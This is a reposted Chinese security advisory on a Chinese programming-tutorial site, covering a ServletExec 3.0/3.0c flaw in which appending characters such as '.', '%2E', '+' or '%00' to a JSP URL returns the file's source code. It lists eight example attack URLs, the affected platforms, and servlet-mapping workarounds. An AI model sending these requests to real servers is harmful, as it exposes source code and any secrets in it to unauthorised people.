当前位置: 首页 > 图文教程 > 网络编程 > JSP > 在HTTP请求中添加特殊字符导致暴露JSP源代码文件

JSP
JavaBeans 程序开发从入门到精通教程
企业级应用中的Applet和Servlet的通信(一)
企业级应用中的Applet和Servlet的通信(三)
企业级应用中的Applet和Servlet的通信 (二)
Web开发中防止浏览器的刷新键引起系统操作重复提交
谈一下关于XHTML网页的制作
40种网页常用小技巧(javascript)←↓------[不时之需]
使用xmlhttp和Java session监听改善站内消息系统
JSP简明教程:行为标签与实例(转
jsp与javascript的结合在页面间传递参数
最基本的一个转换密码字符串为乱码以及解码的程序
55种网页常用小技巧(javascript)
jsp中标签的部署与调用
用jsp动态输出excel文档和中文乱码问题的解决
J2SDK和TOMCAT的安装及配置
web开发中的多条件查询处理技巧1则
JSP连接Mysql数据库攻略
Tomcat的Servlet配制
JSP/Servlet 中的汉字编码问题
Taglib原理和实现 第五章:再论支持El表达式和jstl标签

在HTTP请求中添加特殊字符导致暴露JSP源代码文件


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-02   浏览: 38 ::
收藏到网摘: n/a

涉及程序:
ServletExec

描述:
在HTTP请求中添加特殊字符导致暴露JSP源代码文件

详细:
Unify eWave ServletExec 是一个 Java/Java Servlet 引擎插件,主要用于 WEB 服务器,例如:Microsoft IIS, Apache, Netscape Enterprise 服务器等等。

当一个 HTTP 请求中添加下列字符之一,ServletExec 将返回 JSP 源代码文件。
.
%2E
+
%2B
\
%5C
%20
%00

成功的利用该漏洞将导致泄露指定的JSP文件的源代码

例如:
使用下面的任意一个URL请求将输出指定的JSP文件的源代码:
http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp\
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00

受影响的系统:
Unify eWave ServletExec 3.0c
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4
Unify eWave ServletExec 3.0
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4

解决方案:
临时解决办法:
如果没有使用任何静态页面或图像,可以配置一个默认的 servlet,并将“/”映射到这个默认的 servlet。这样当收到一个未映射到某个 servlet 的 URL 时,这个默认的servlet 就会被调用。在这种情况下,默认的 servlet 可以仅仅返回“未找到文件”。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet 处理对合法的静态页面和图像的请求。

另一种可能就是将*.jsp+、*.jsp.和*.jsp\等映射到一个 servlet,而该servlet只是返回“未找到文件”。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入“*.jsp ”。注意%20被转换成一个空格字符。